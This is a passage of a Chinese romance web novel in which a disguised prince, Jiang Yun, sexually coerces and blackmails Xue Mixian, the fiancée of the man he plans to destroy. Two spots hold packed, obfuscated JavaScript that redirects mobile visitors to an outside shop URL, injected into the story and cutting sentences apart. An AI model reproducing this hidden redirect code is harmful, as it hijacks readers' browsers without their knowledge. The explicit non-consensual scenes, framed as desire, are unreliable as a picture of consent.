江昀轻笑了一声,拨开那缕汗湿贴在额前的青丝,俯身吻过来,紧紧抱着她,学着从程菩那儿偷听来的称呼: “娴娘。” “姐姐。” “薛姐姐。” 他不知分寸,小名和“姐姐”交替着胡来,偶尔还会揉杂着连声低语,低哑的声音中透着难言的性/感。 每唤一声,薛宓娴就跟着浑身一颤,最终实在忍不住,再次开始徒劳的挣扎: “你别这么乱喊……” 江昀的手撑在她的耳侧,片刻后低下头,似是回应。 目之所及,只见月弧满盈,流光不尽。 …… 薛宓娴趴在被褥上,浑身酸软一片,连更衣的力气都没有。 江昀不知何时拿来了干净的衣裳,或许是真的做得太过,只是再简单不过的触碰,都能让她止不住地发颤。 换好衣服,他坐在榻边,望着那玉颈上浅浅的痕迹,喉结滚了滚,欲言又止。 薛宓娴被喂了口温水,总算是可以开口说出一句完整的话了: “这么久不回去,蕴娘她们肯定会发现的。” 江昀“嗯”了一声,手指在她的掌心轻轻画着圈: “你院中的婢女都已经睡下了。” “早上醒来的时候,你已经在自己房中。至于昨晚的事,她们什么都不会记得。” 薛宓娴抓着他的小臂,急切道: “你是不是伤了她们?” “你到底对她们做了什么?” 江昀缓缓低头,只见那纤长的手指搭在隐隐发烫的肌肤上,小臂上青筋暴起,似乎能直接感受到其下血脉的搏动。 他的呼吸停滞了一瞬。 很明显,他的肤色要比薛宓娴的更深一些,两相映衬,显得她的手指越发白皙柔嫩。 现在只是握着他的手臂—— 若是握在他别的什么地方呢? 比如—— “……” 江昀偏过脸,似乎并不想多解释: “我用的法子,不会伤人。” 余光注意到了地上的东西,他弯腰捡起,缓缓摊开手: “这东西,是程菩送你的?” 薛宓娴不喜欢他提起程菩的样子,尤其是在床上。她总感觉江昀对程菩,似乎有种说不出的奇怪。 这种怪异让她不安,进而本能地抗拒。 她飞速地扫了一眼,硬着头皮否认: “不,这是旁人送的。” 江昀冷笑一声: “是么?” 他起身走了出去,脚步声渐远。 这是逃跑的好机会。 可她没有力气,翻身下床的瞬间,腿一软,膝盖摔在了地上,发出一声闷响。 屋里没有点灯,她凭借着从窗缝中透入的隐约微光,随手抓起一件外袍,鞋也顾不上穿,匆匆推开门。 几乎是同一时刻,江昀回来了—— 他背对着光,清俊的面庞半边隐匿在阴影里,眸色沉沉,让人看不真切他的情绪。 薛宓娴连连后退,她本能地低头回避视线的接触,却不慎撞在了桌案上,慌乱中弄翻了案上的笔筒。 江昀停下脚步,视线从下至上巡了一番,最后只是缓缓伸出手,轻轻托在她的腰后,把她扶回了榻上。 他的手紧密地贴着薛宓娴的背脊,声音低哑,却让她不由得遍体生寒: “好姐姐,你不会乱跑的。” “对不对?” 随意一句话,却让薛宓娴手指微蜷,下意识地往被褥里缩了缩。 江昀没有再多说什么,抓起她的小腿,将人拉过来。 水滴形的玉石抵上来,带着一点冰冷的潮意。 薛宓娴挣扎着踢他,眸中闪烁着惊慌,颤动的眼睫上悬着未干的晶莹,显得越发楚楚可怜。 可惜,这点挣扎,根本不影响江昀的动作。 他微微皱了一下眉,看了她一眼: “这玉仔细清洗过了,是干净的。” 喉结滚了滚,他低声道: “别躲。” 薛宓娴浑身发抖,推阻的动作被迫变了味道,成了欲拒还迎。 她说话的声音里带着隐约哭腔: “你到底要干什么?” “是,我刚刚骗了你。这是程菩送的平安玉,你别——” 后面的话她实在无法说出口,只见江昀俯下身,按着她接吻,而后缓缓撤开一点,似笑非笑地轻声耳语: “姐姐,骗人是要受罚的。” 他再次低头,吻上她的耳垂: “明日去寺中进香,这平安玉你千万要含好了。” 薛宓娴闭上眼睛,只听一声玩味的嗤笑: “若是在程菩面前掉出来……” “什么都瞒不住了。” …… 薛宓娴再次醒来,果真如他所言,已经躺在了自己的卧房中,熟悉的百合香让她紧绷的神经稍许放松下来。 然而,身上那件单衣似乎被江昀身上的香气浸入了味,即便他人不在,鼻尖似乎也尽是被那阵沉香气味笼罩着,脱逃不得。 “姑娘,今儿倒是醒得早。” 蕴娘走了进来,顺便还带了两件熨好的衣裳。 “这件桃红衫裙,是大夫人送来的。先前大夫人的娘家用上好的锦缎裁的,一次都没穿过,白白压了箱底。大夫人说,她不适合穿这样的了,特叫我熨好了给姑娘试试。” “另一件……” 蕴娘笑了一下,眨了眨眼睛: “是二公子给姑娘挑的。姑娘肤白,轻紫色是极衬的。这件上的花饰也是时兴的款式,只是布料比大夫人送的那件轻薄。” 薛宓娴沉默了一会儿,最终按照自己的喜好,选了程菩送她的衣裳。 其实她和程菩相处的并不多,只是不知为何,程菩竟有本事能屡屡猜中她的喜好,而且总能由此为她准备不同的惊喜。 趁着蕴娘转身的功夫,薛宓娴将手中的玉石放在了自己的枕下,若无其事地穿戴整齐,前去梳妆。 那平安玉上还带着她的体温。 含玉? 她是正常人,才不会陪江昀那疯子胡来。 镜中的美人眉目如画,一双桃花眸在脂粉的映衬下越发灵动 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16956649|193155||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 婉转,清丽的容妆下带着一抹勾人心魂的艳色,最是动人。 薛宓娴垂眸拿起桌上的香粉,点在颈侧浅浅的印记上,有衣领的遮掩,其实本就不怎么看得出来。 但她不想冒险,只求万无一失。 …… 藤蔓荫下,繁花似锦。 薛宓娴缓步在回廊中走着,府中的花开得正好,晨起的露水未曾散尽,愈发显得花瓣娇艳欲滴。 余光中的景象就骤然被阴影遮挡,她蹙眉看向前方,只见江昀负手而立,站定在离她几步之远处。 他似乎没有注意到她,目光看向花圃,若有所思。 蕴娘在身后小心提醒: “姑娘,那是江公子。” 薛宓娴不想跟他打招呼,但是江昀碰巧看过来,也无法再避,便只能迎着那意味深长的视线走过去: “见过江公子。” 她咽了咽口水,垂眸道: “昨夜休息的可好?” 江昀轻笑一声,收回视线: “不甚好,梦中有不识趣的鬼魅侵扰,险些犯了心悸。” “或许,我也该去求一块平安玉,驱驱邪了。” 他侧目看过来,似笑非笑: “薛姐姐意下如何?” 薛宓娴咬了咬牙,摸了摸自己的耳朵,故作惊诧地转过身: “我的耳坠呢?” 蕴娘愣了一下: “姑娘可是说二公子送的那副,出门的时候,不是还戴着的吗?” 薛宓娴蹙起眉,看起来十分懊恼: “定是路上弄丢了。还有些时间,我们分头找。” 蕴娘点了点头: “我去院子里找找,姑娘别急。” 薛宓娴笑了笑,待蕴娘的身影消失在转角,便把江昀拉入廊柱后的阴影里。 她抬起头,眸光中带着点嗔怒,却又不敢太过张扬,压着声音质问道: “你刚才都说了些什么?” 江昀微微俯身,凑近了些,漫不经心地笑了一下: “回姐姐的问安而已。” “与其兴师问罪,姐姐不如说说,你是如何曲解了我方才的话?” 薛宓娴蹙起眉头,发觉不知何时又入了他的圈套: “你!” 忽然,江昀眸光一冷,凑得更近。二人鼻尖相贴,呼吸交缠,亲密得如同木架上缠绕着的鲜花。 指腹抚上那柔软的唇,微微用了些力气,蹭去其上艳红的胭脂。 薛宓娴看着他,不知道他这回又是打的什么主意,因此不敢轻举妄动。 手指不轻不重地捻了一下,江昀重新看过来,眸色沉沉: “你用了他送你的东西?” 薛宓娴眨了眨眼睛,直觉告诉她江昀现在应该是有点不高兴。 她装作不知,微微歪着脑袋: “谁?” 江昀看着她,淡淡道: “姐姐自己心里清楚。” 薛宓娴瞥了他一眼,心下仍是不解。 她就算是用了,又如何呢? 江昀是怎么知道程菩送给她东西的。 不对。 从昨夜之事来看,江昀连她与程菩之间的私事都知道得一清二楚。 就算是恩人,程菩也不会对他事无巨细地闲话到这个地步。 他到底是什么人,在程家想干什么…… 薛宓娴蹙眉思考的时候,江昀似乎已经失去了继续陪她装下去的耐心。 他嗤笑一声,不欲多说,只是抬起她的脸,低头吻了过去。 淋漓厮磨间,他紧扣着薛宓娴的腰,感受着其上恰到好处的软肉自然落于掌心。 交错的气息,让所有神智都沦陷其中。江昀的吻技实在是炉火纯青,他们之间的唇齿纠葛,在此刻变成了一种特殊的享受。 她抬眸对上江昀的视线,只感觉其中疯狂的爱/欲冲破桎梏,试图将她拉入万劫不复的深渊。 江昀离她很近,近到可以看清他的睫毛,近到她可以感受到那逐渐急促的呼吸。 瞬间的失神,薛宓娴感觉自己心跳得很快,说不清道不明的感觉在心中不断蔓延,直至侵占了她的全身。 脑中一片空白,行为不再受理智的控制,只是遵循着本能的反应。 她微微踮起脚,想要再次触碰那湿润的唇,被引诱着再次去寻找云端颠倒之境。 可是,江昀却避开了。 他单手捂住她的口鼻,稍微用了些力气,骤然止住她那不断加重的喘息,摇了摇头: “别出声。” “有人过来了。” 8. 折枝 不远处传来脚步声—— “为何还不见菩儿和娴娘?” 是程老夫人说话的声音。 一旁的沈楹笑着打趣道: “许是他们二人又在琢磨什么新奇的鬼点子,不叫咱们知晓呢。” “外头车马都备好了,老太太不用费心等,到时候先上了船,只管看他们乐子便是了。” 听到这声音,薛宓娴一个激灵,几乎是下意识地想要推开江昀。 可江昀没有松手,只是单手紧紧地揽着她的腰,目视着沈楹等人说笑着缓缓经过。 胸口剧烈地起伏着,薛宓娴感觉自己紧张得心脏快要从喉间跳出来了。 偏偏有人还在一旁推波助澜。 “姐姐,我们没有被发现。” 江昀抱着她,细密的啄吻落在她的唇边,颈侧以及耳后: “专心,我就放你走。” 薛宓娴的手搭在他的肩头,她自己说不清这个动作是推拒还是逢迎。 总而言之,等她回过神来的时候,头脑中早已被那个攻城略地的深吻搅得天翻地覆,飘飘乎不知身在何处。 感受到怀中人快喘不上气了,江昀才稍稍退开些,抬手撩起她垂落的长发,勾绕着缠在指间。 他倚在廊柱上,轻轻一挑眉: “所以,那玉呢?” 薛宓娴咽了咽口水,自觉颇为成熟地撒了个谎: “含……还含着呢。” 她声音很轻,说完,抬头便对上江昀的视线。 那双漂亮的眼眸中带着她看不透的情绪,似是嘲弄,又似是可怜,最后只是外化为波澜不惊的一声轻笑: “哦,是吗?” 江昀双手交叠放在身前,弯腰凑近了些,冷声道: “这是你第二次骗我。” 说完,他转身离去,独留薛宓娴一人在廊下阴影中,垂眸轻叹。 …… 游湖是程菩安排的,船上花果点心一应安排妥当,甚至还备了不同的酒,装在精致的瓷壶里,随时都可取来喝。 接连几日春雨连绵,碰巧赶上今日是个阴天。 无边的天上压着层云霭霭,湖上轻风阵阵,卷起两岸沁人心脾的花香袅袅,随波而来。 湖水清澈,程茹趴在船边的栏杆上,不忘回头朝薛宓娴招手: “姐姐!快过来看鱼儿!” 程茹与薛宓娴二人都在外舱,沈楹放心不下,生怕自家妹妹胡闹惹祸,也跟了过去。 程老夫人倚在榻上,面前摆着一小杯果酒,不过只浅浅抿了一口,便心事重重地长叹了一口气: “菩儿,你可有听闻今上派人去寻回九皇子的事?” 程菩放下手中的梅脯,笑了笑: “此事怎么还传到老太太耳中了?” “如今爹爹和我远离京城,任他们再如何兴风作浪,也牵连不到我们身上。” 程老夫人摇了摇头,摆手道: “话虽如此,可你在京城的时候,曾为魏王的幕僚,恰巧正是云妃出事,她的两位皇子一起失踪的那段时间。” “若有一日,那九皇子当真活着回了京城。莫不说皇后与魏王,他乃是云妃之子,你当初对其母家赶尽杀绝,只怕是不会轻易放过。” 程菩笑着接过婢女手中切成小块的鲜梨,递到老夫人面前: “这梨比往日里的甜,老太太尝尝。” 见程老夫人仍是忧心忡忡的模样,他只好微微弯下腰,语气温柔地耐心解释: “这点子小事,哪里就用得着老太太您操心了?” “我自有办法周全,您只管放心便是。” “如今魏王党势力如日中天,太子之位已是囊中之物,何须在意一个已经丧了母家的弱势皇子?即便他回来了,也不成什么威胁。” 江昀在旁面不改色地剥了个橘子,没有说话。 恰在此时,程茹探了个脑袋进来: “你们在说什么?我可都听见了,别想瞒着我。” “二哥!你还见过宫里的娘娘?” 她兴致勃勃地扑到程菩身边,拉着他的袖子,晃了好几下: “二哥,你说说,宫里的娘娘都长什么模样?” “我看那话本里说,都是貌若天仙,倾国倾城,百花为之黯淡,四海为之臣服的大美人,诶呦……” 程菩屈指在她额前弹了一下: “胡说什么?先生教你功课,你偷懒耍滑,还尽看些闲书。” 程茹捂着脑袋,委屈地瞪了哥哥一眼: “不说便不说,小气鬼。” 程菩哼了一声,说道: “别以为我不知道,你瞧着别家姐姐去京城选秀,心里只怕是也有别的念头。” 被哥哥戳中了心思,程茹偏开头,不想理他。 江昀微微仰起头,将杯中酒一饮而尽。 他的手指在杯沿来回抚了两下,抬眸笑了笑: “倾国倾城的美人,若是入了那皇城宫墙,不过都是可怜薄命,值得如此惦念么?” 程菩看了他一眼,抿了抿唇,感觉这话似是别有深意。 程茹反驳道: “可我和她们不一样,说不定平步青云也未可知呢。” 程老夫人开口道: “茹儿,这话如何说得?” “无论如何,我是不会放你去采选的,你趁早断了这个念头。将来你欢喜谁家公子,我都不拦着,唯独入宫不成。” “莫不说你爹,就算是菩儿敢动这个念头,看我不打断他的腿。” 程茹未曾想到素来最疼爱自己的祖母都不站在自己这边,不由得愣了一下: “为何?” 程老夫人看向程菩,接着说道: “你可记得,云妃焚宫自缢之事?” 程菩垂眸应道: “记得。” 程老夫人皱起眉,难得摆出如此严肃的架势,正色道: “那就看好茹儿,别让她整日里胡思乱想。” 程茹依旧不服: “昭阳宫之祸,是云妃及其族亲咎由自取,罪有应得。这可是你们说的,与我何干……” 程老夫人打断了她,只是看向程菩: “府上如今的教书先生不好,把他撵出去,往后便不必再来了。” 此言无人反对,程茹扁了扁嘴,忍住眼泪,转身就跑了。 江昀轻笑一声,视线跟着她的身影而动。 借着袍袖遮挡,方才被他捏在手中的白瓷小酒杯,在内力下生生化为齑粉。 他若无其事地站起身,朝着老夫人和程菩行礼道: “我不惯船游,出去透透气,失陪。” 一套动作行云流水,游刃有余,挑不出半点错漏。 可转过身的瞬间,他几乎是立刻收起笑意,脸上的神色变得无比冰冷,浓重的杀意压成一片,在漆黑的眸中翻滚涌动。 程家没有无辜之人。 最终的下场,也会是他们应得的报应。 …… “老太太为何这般说我?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16956650|193155||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >程茹蹲在船头,直掉眼泪: “我又不是奔着天子去的。只是想着,若是能向婉娘娘那般,争来天恩,当个女官该有多么风光。” 薛宓娴看向沈楹,面有疑惑: “婉娘娘?” 沈楹解释道: “三妹说的,想来应是建武帝当朝时,宫中的婉妃。” “她原是丞相之女,入宫后不久,便得特许出入翰林,多次上表奏疏议政。她一生编撰典籍无数,得后人立碑,史官作传,可谓是功在千秋。” 薛宓娴听完,心下万般感慨,摸了摸程茹的脑袋。 沈楹接着说道: “茹儿,心怀大志并非错处,只是婉妃背后的艰辛,你未必知晓。老太太不想你吃苦,是好心。人生大事上,你总得听长辈的话。” 程茹抹了抹眼泪,看向身侧的薛宓娴: “姐姐,你也这么觉得?” 薛宓娴沉默片刻,把她揽入怀中,轻声哄道: “世上没有尽善尽美的事,故而有言,甘瓜抱苦蒂,美枣生荆棘。其中道理,你是明白的,对不对?” “知往鉴今,老太太所说的话,不能全然置否,但至于采信其中多少,当问本心。” 沈楹听罢,眉梢轻挑,目光停在薛宓娴身上,若有所思。 她原以为程老夫人是因为故友,才对薛宓娴疼爱有加。现下看来,这位薛姑娘颇有几分意思,值得深交。 程茹没想那么多,只是觉得薛姐姐的话有道理,抹了抹眼泪,渐渐止住了抽泣。 薛宓娴顺势转移话题: “瞧,湖上有天鹅游过来了。” 程茹抹了抹眼泪,视线当即奔着天鹅去了。 薛宓娴回头看向沈楹,二人不约而同地莞尔轻笑,心下各异。 虽然对这个朝代的宫廷了解甚少,但薛宓娴结合自己曾经的阅历,知道皇宫向来都是吃人不吐骨头的地方。 通天之路必然不是捷径,可她自己也不是成大事的人,不能替旁人做决断。 程茹若是真有平步青云的野心和本事,她也衷心为之欢喜。 …… 程老夫人的脾气去得快,更何况她本就不忍对程茹发火。 离了船,老夫人主动给程茹台阶下,不过是一个精巧的糖画,又把小姑娘哄好了。 一行人踏入桃花林,沿石阶而上。 桃之夭夭,灼灼其华。 朵朵粉色的花开得烂漫,粉色的花瓣娇艳欲滴。微风簌簌穿枝而过,漫天春花似雨,落英缤纷。 恰有一片花瓣打着轻旋儿飘落,悠然停在了薛宓娴的发间。 “娴娘。” 微凉的手指轻轻蹭过耳边,她回过头,只见程菩脸颊微红,缓缓摊开自己的手。 二人相视而笑,恍然间已是有了几分琴瑟和鸣的眷侣模样。 蕴娘知趣地拉着呆愣的小厮,远远地退到一旁。 几步之遥,江昀隔着锦簇花团,静静地注视着他们。 薛宓娴并未察觉,她微微低头,轻挽耳边青丝,步摇轻晃,盈然如水的桃花眸中含着醉人的笑意。 仙姿玉貌的美人只是站在那儿,比之满山繁花,仍不落俗。 她笑得温柔又漂亮: “多谢二哥哥。” 江昀淡然移开视线,随手折下一枝新鲜的桃花。深蕊处隐有暗香浮动,不绝于缕。 仇深似海,此行只为斩草除根。 他不会在意身外消遣。 更不会对未来的仇人之妻有所留情。 9. 亵渎 因着程菩提前打点过,今日寺中除了程家一行人,并无外人打扰。住持师父手握佛珠,双手合十,面带微笑,朝他们行礼。 程老夫人笃信佛教,只是素日里不常出门,故而请师父去府上讲过几回经,勉强算得上是熟识。 已近饭点,便在寺中小沙弥的引领下,安排着去用饭。 简雅的竹亭内,红木圆桌临水而设。潺潺溪流卷着山中落花,如同红妆软缎,在漫漫浅草地上一路蜿蜒。 细水清流之声悦耳,配合着间续鸟鸣,身心跟着一同平静下来。烦扰忧愁,皆随着缕缕紫檀香烟,飘向远方。 程老夫人坐下,环视了一圈,开口说道: “地方倒是不错,菩儿此番费心了。” “今儿既是难得出门,都不用拘着,过来坐罢。” 程茹与薛宓娴应了老夫人的要求,与她左右挨着坐下。 沈楹本还想张罗,却见程菩笑了笑,低声道: “嫂嫂不用忙活,我来安排便是。” “可是……” 她话没说完,只见程菩已悠然转身,吩咐小厮去廊下再摆上几席,一会儿待亭中的人散了,让随行的下人们也跟着吃一顿。 江昀本是坐在外端的,挨着薛宓娴。圆桌下,他的手似是无意地搭上身侧人的腿,隔着衣裙,轻轻捏了一下。 薛宓娴神色凝了一瞬,却又不敢声张,只能瞪了他一眼,以表不满。 江昀自然视若无睹。 正当她心下烦乱之际,沈楹走了过来: “江公子,你是贵客,应坐那个位置才是。” 当着程老夫人的面,沈楹一再推让,江昀也不好与她对着来,便只能起身,去程茹身侧坐下,与薛宓娴隔桌相对。 薛宓娴低下头,装模作样地咳了一声,偷偷轻笑,可抬眸的瞬间,却见江昀冷冷地看向她,不悦之色溢于言表。 她微微偏过头,十分自然地避开了与他的视线接触,转而看向身侧的程菩,柔声道: “二哥哥别急着解衣,当心着凉。” 程菩笑着把手中的竹筷递给她,顺势轻轻捏了一下她的指尖: “有劳娴娘惦记着,我一切都好。” 虽说是定了婚事,可他们二人还不是夫妻,按理说言语举止不该如此亲近。 但程老夫人乐见于此,只是和蔼地笑了笑,没有多说什么。 吃了一杯云雾茶,便见莳莺从小沙弥手中接过食盒,领着婢女,前来布菜。 食材虽简单,但各色菜式色泽鲜亮,香气扑鼻,闻着便叫人不由自主地咽口水。 薛宓娴穿越前没有吃过素斋,这个朝代的烹饪技术没有那么发达,因而她对食物的味道没有太高要求,只是不要太难以入口便好。 程老夫人先动,随后旁人也跟着动筷。 程菩夹了一筷子笋片,放在薛宓娴的碗中: “这道菜是用山上的鲜笋,铺在香叶上小火慢蒸,料汁调得也好,十分入味。” “他们做的豆腐卷子出名已久,老太太一直惦记着……” 他自己没顾上享用美味,倒是满心全放在薛宓娴身上。 只要她稍微笑一下,程菩莫说是刀山火海,便是叫他去桂宫摘月都别无二话。 程菩放下筷子,看向她,心中隐隐期待: “娴娘,你可喜欢?” 薛宓娴抬手轻挽耳边垂落的散发,与他相视一笑。 江昀的脸上没什么表情,筷子稳稳当当地夹起胡萝卜丝,放入碗中。 …… 瓷勺晃着澄亮的萝卜汤,听说是与一些名贵的菌菇一起煮的,鲜味十足,很对薛宓娴的胃口 忽然听见对面的江昀轻咳一声,她不由得抬起头—— 目光交汇之际,她意识到自己又一次中了他的圈套。 那些床/笫之间的荒唐记忆被瞬间勾起,似有过电之感攀上背脊,游遍全身经络。 薛宓娴捏着勺子的手不受控制地抖了一下,汤汁洒了出来,引得程菩侧目,关切道: “娴娘,怎么了?” 薛宓娴眨了眨眼睛,强作镇定地笑了一下: “我……方才被烫着了,一时没拿稳勺子,不打紧。” 这解释实在有几分欲盖弥彰之意,江昀收回自己的视线,无声笑了一下,重新又夹起一块笋片。 他并未乘胜追击,只是在薛宓娴放松下来的瞬间,借着两人同时伸筷夹菜的契机,碰了一下她的手,连带着轻轻蹭了一下。 触碰的动作很快,如同蜻蜓点水,又加之有旁人夹菜作为掩护,除了薛宓娴这位当事人,根本无人察觉。 指腹从柔软光滑的手背上划过,细腻如脂玉般的触感让江昀忍不住捻了一下指尖,暗自回味。 他抬头看向薛宓娴,脸上的神色瞬间冷了下来。 只见美人脸上泛着微红,眸中闪过一瞬间的抵触,而后无意识地将身子偏向了程菩的方向,似是在寻找什么庇护。 可笑至极。 江昀淡淡地搁下筷子,慢条斯理地擦了擦手。 薛宓娴的动作一顿,秀眉微蹙。 到底是有过肌/肤/之/亲,她能敏锐地察觉到江昀眼神变化中情绪的细微不同。 比如说欲/念浓重的,带着调笑的,漫不经心的,以及冰冷矜贵且高高在上的…… 可她却不能准确地说出这样的眼神,究竟代表了他内里的什么心情。 因为江昀是个看不透的人。 他也许此时漫不经心地笑着,下一刻便会捏着她的脸,把她抵在墙上,咬着她的唇瓣,说些让她浑身发抖的浑话…… 她心里开始打起鼓,不自觉地有点紧张,开始回忆方才是否有何处明显言行有失,得罪了这位大恩人。 毕竟,江昀手里握着能左右她靠山的把柄,不得不谨慎对待。 偏偏此时,程菩看过来,轻轻地握住了她的手: “娴娘,你脸色不好,可是身子不适?” 一时间,桌上所有人都看向她。 睫羽轻颤,薛宓娴手脚发冷,轻声道: “没有不适,我很好。” 话音刚落,她似乎听见了江昀的轻声嗤笑。 然而,等她再次看过去的时候,江昀的脸上却又不见任何情绪,只是平静而又漠然地迎上她的目光,仿佛周围发生的一切都事不关已。 薛宓娴微不可察地轻叹一口气,无意识地用筷子戳了戳碗中的豆腐块儿。 只是她不知…… 美人倩影已是清晰地映在了那漆黑的眸中,在无边无际的欲.浪中越陷越深,直至完全吞没,踪迹难寻。 …… 用完素斋,程老夫人便带着小辈们去听住持师父讲经。 盘坐在柔软的蒲团上,薛宓娴听着耳边萦绕不去的絮絮念念,昏昏欲睡。 窗外的阳光似一层薄薄的金纱,轻轻笼罩在她的身上,安然恬静之姿,如梦似幻。 身子晃了一下,她从瞌睡中忽然惊醒,无端感到异样。 四下环顾,正巧对上江昀的视线。 她迅速回避对视,若无其事地坐好,理了理衣袖。 余光留意了一会儿,薛宓娴几乎可以肯定,江昀一直在盯着她看。 落在她身上的视线,大大方方,毫不遮掩。 她偷看的动作同样也被江昀抓了个正着。 薛宓娴立刻坐正,仿佛是以前上课开小差被老师点名那样,腰挺得笔直,大有此地无银三百两的架势。 江昀微微偏头,轻轻哼笑一声,起身走了出去。 薛宓娴注意到了,可她无法确定那是什么意思—— 他看起来似乎心情不好,这是要她跟着一起出去的意思吗? 还是他单纯叛逆,不喜欢听老和尚念经? 思索片刻,薛宓娴站起身,朝着同样忍不住打瞌睡的蕴娘示意了一下,紧接着提起裙裾,悄悄溜了出去。 …… 院角摆着僧人们洒扫用的洁具,满院的地上都不见一片落花残叶,打理得十分齐整。 沿着鹅卵石铺下的小路向前走,两侧的树木枝繁叶茂,却不见半点人影。 人生地不熟,薛宓娴一步步紧跟着江昀的足迹,生怕自己闯入什么不该去的佛门禁地,犯了忌讳。 正当她小心翼翼地四处张望时,忽然伸出一只手,不由分说地将她拉入身侧的屋子里。 “唔唔——” 木门合上,薛宓娴眨了眨眼睛,看向面前神色淡然的江昀,暗暗松了口气: “吓死我了,我还以为……” 江昀的视线自她的眼睫缓缓下移,落在唇上,停留片刻后,哑声道: “以为什么?” 以为你是图谋不轨的歹人。 但这话若是直接说出来,薛宓娴怕他生气,思索片刻后,换了个说辞,不乏软语讨好之意: “我还以为你真的生气了呢。” 江昀单手撑在门上,只是看着她,没有说话。 薛宓娴缓缓抬眸,柔声试探道: “没有么?” “那你为何会到此处来?” 江昀自然不会回答她的这种问题。 他再度看向薛宓娴的眼睛,深吸一口气,沉默片刻后,果断地抬起她那粉雕玉琢的美人面,低头吻了下去。 薛宓娴蹙起眉,轻轻地挣扎了一下。 这个吻来得有点不同寻常,似是欲/念深沉,可贪恋中却带着要将她噬咬掠夺的恨意,恨意中又隐隐有几分别扭的怜惜。 最后,他的动作似是安抚,又似是要勾起更深处的其它反应。 薛宓娴被他神鬼莫测的技法弄得喘不上气,呜咽和挣扎都被轻而易举地压制下去。 她无力反抗,当然也逃脱不得。 …… 感受到一阵突如其来的寒意,薛宓娴攥住自己的衣襟,又羞又恼地瞪了江昀一眼: “你仔细看看,现在这是在什么地方。怎能如此放肆?” 江昀嗤笑一声,手停留在她的腰际: “我做事,还要顾及身在何处?” 他低下头,贴着薛宓娴的耳朵,哑声道: “姐姐先前求我的时候,可不是这么说的。” 薛宓娴咬着牙,此刻她被圈在江昀的怀中,纵然有心中千万般不满,也根本由不得她推辞抗拒。 江昀的道德和廉耻近乎于无,天下再荒唐无稽的事,放在他身上也不奇怪。 但她还是试图用朴素的观念感化他: “ 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浅紫色的衣裙如同山野间烂漫的紫藤花,在深色的地板上倏然散开。 薛宓娴忍不住朝着唯一的热源处靠过去,贴得更近,恍然有种即将融为一体的错觉。 出乎意料的是,江昀身上的衣裳依旧齐整,除了被她紧攥着的袖子留有些许褶皱,竟没有一点要陪着宽衣解带的意思。 薛宓娴怔了一下,想要狠狠推开他,却又不敢,只能顿在原地,倒成了默许。 江昀的手如同过谷山风,由远及近,由上至下,峰峦尽揽。 不过,简单的触碰与之后发生的事情相比,已经算不得什么了。 下一刻,她就被轻而易举地托了起来,只能用双手紧紧揽着他的颈,轻轻闭起眼睛,悬在了他的身上。 他衣冠齐楚,应该不是想着要做那些事的。 薛宓娴屏住呼吸,实在害怕此刻的自己被人撞见,便只能尽可能压低了声音: “江昀……你到底要干什么?” 词音句尾带着细碎的喘咽,越发有些见不得人了。 江昀依旧没有回答她。 他今天的话格外少,只是顾着自己手上不曾停歇的动作,同时视线一直未曾移开,定在了她那双泪水满盈的桃花眸上。 美人仰起头,咬唇垂泪。 这一瞬间,他心中竟是极为满足。 他轻轻眯起眼睛,倾身凑过去,将晶莹珠泪尽数吻去,再轻轻衔住那柔软的唇,渡还给她。 …… 薛宓娴终于知道他要做什么了。 软语哭求过后,再次加深了她心中堆叠的偏见。 江昀就是个彻头彻尾的疯子。 云端来回几次,五感已经不受自己掌控,她再不顾礼数,哭斥道: “无耻……我……我从未见过你这般放浪的人……” “你简直是丢光了自己还有家人的脸面……” “身而为人,不做端方君子……尽……尽做些见不得光的丑事……可会问心有愧?” 她努力地用这个朝代的人能够理解的话去骂他,却不知自己此时的模样,眼尾泛着热红,香/汗/淋/漓,任人摆布,柔若无骨。 如此一来,说的话不像是愤怒,倒像是在调/情。 江昀听见了,但什么都没有说,甚至连脸上的神色都不见一点变化。 湿漉漉的手随意搭上她的颈,在锁骨处留下泛着些许晶莹的尾痕。 薛宓娴此刻坐在一张木桌上,身下垫着江昀的外袍,带着熟悉的沉木香气,将她由内至外染了个遍。 小腿止不住地颤抖着,美人面上晕着一片细腻的润红,眸中闪着盈盈水光,可怜可爱。 水珠从指尖滴落,江昀缓缓开口: “我是放浪之徒,姐姐是什么?” 他凑近了些,眸光中闪烁着异样的疯狂: “方才连句话都说不清楚的,又是谁?” 他轻轻地拍了拍薛宓娴的脸,待她回过神来,便抬起她的下颌,不容闪躲: “这是姐姐骗我的代价。” “若再有下次,我便在程菩的面前——” 薛宓娴大惊,挣扎中指甲自他的颈侧划过,留下数道红痕。 她含泪瞪着江昀,打断了他的疯言疯语: “你敢!” 江昀笑了一下,做出噤声的手势,不慌不忙地抱着她换了个方向。 一门之隔,程菩随着一位僧人,推门而入。 薛宓娴瞬时浑身发冷,一动也不敢动。 江昀瞧着她的模样,喉结不受控制地滚了滚,靠坐在桌边,把她圈入怀中,卷起外袍遮掩那微微颤栗的身体。 他贴着她的耳朵,用了气声,话音只有彼此二人能听到,而且听得清清楚楚: “我有何不敢?” 修长的手指撩起美人耳边垂落的长发,只不过是轻轻一卷,她的身体便会跟着他的动作颤栗发抖。 薛宓娴咬着唇,握住那作乱的手,转而便听身后传来哑声轻笑: “姐姐若不信,大可一试。” “看我会不会——” “说到做到。” 10. 恶劣 程菩对隔壁发生的事情一无所知。 他咳了几声,负手而立,对身旁的僧人道: 